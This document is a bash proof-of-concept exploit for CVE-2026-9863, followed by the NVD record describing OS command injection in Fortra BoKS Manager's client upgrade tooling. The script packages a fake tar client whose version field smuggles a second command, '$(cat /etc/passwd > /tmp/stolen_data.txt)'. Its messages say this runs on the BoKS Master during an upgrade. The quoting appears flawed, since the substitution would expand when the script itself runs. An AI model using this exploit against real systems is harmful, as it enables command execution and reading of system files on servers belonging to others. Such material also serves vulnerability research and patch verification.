CVE-2026-9863

#!/bin/bash # CVE-2026-9863 PoC - Malicious tar client to inject commands # This PoC demonstrates command injection during client upgrade echo "[+] Crafting malicious tar client package for CVE-2026-9863" # Create malicious version file with command injection payload MALICIOUS_VERSION="1.0.0;$(cat /etc/passwd > /tmp/stolen_data.txt);echo" echo "[+] Injected version: $MALICIOUS_VERSION" # Create fake client installation directory structure mkdir -p fake_boks_client cd fake_boks_client echo "Creating malicious version file..." echo "$MALICIOUS_VERSION" > version.txt echo "Creating client metadata..." cat > client_info.json <<EOF { "client_id": "malicious-tar-client-001", "version": "$MALICIOUS_VERSION", "type": "tar-legacy", "hostname": "$(hostname)" } EOF # Create tar archive tar -cvf ../malicious_tar_client.tar * echo "[+] Malicious tar client created: malicious_tar_client.tar" echo "[+] When admin upgrades this client, commands will execute on BoKS Master" echo "[+] Stolen data will be written to /tmp/stolen_data.txt on Master"

{"cve": {"id": "CVE-2026-9863", "sourceIdentifier": "df4dee71-de3a-4139-9588-11b62fe6c0ff", "published": "2026-06-15T16:16:35.507", "lastModified": "2026-06-15T16:16:35.507", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fortra BoKS Manager contains an OS command injection vulnerability in the client upgrade and patch tooling for legacy tar-based client installations. A malicious or compromised legacy tar-installed client selected for upgrade or patching may be able to cause commands to be executed on the BoKS Master during client version handling."}], "metrics": {"cvssMetricV31": [{"source": "df4dee71-de3a-4139-9588-11b62fe6c0ff", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "df4dee71-de3a-4139-9588-11b62fe6c0ff", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.fortra.com/security/advisories/product-security/fi-2026-008", "source": "df4dee71-de3a-4139-9588-11b62fe6c0ff"}]}}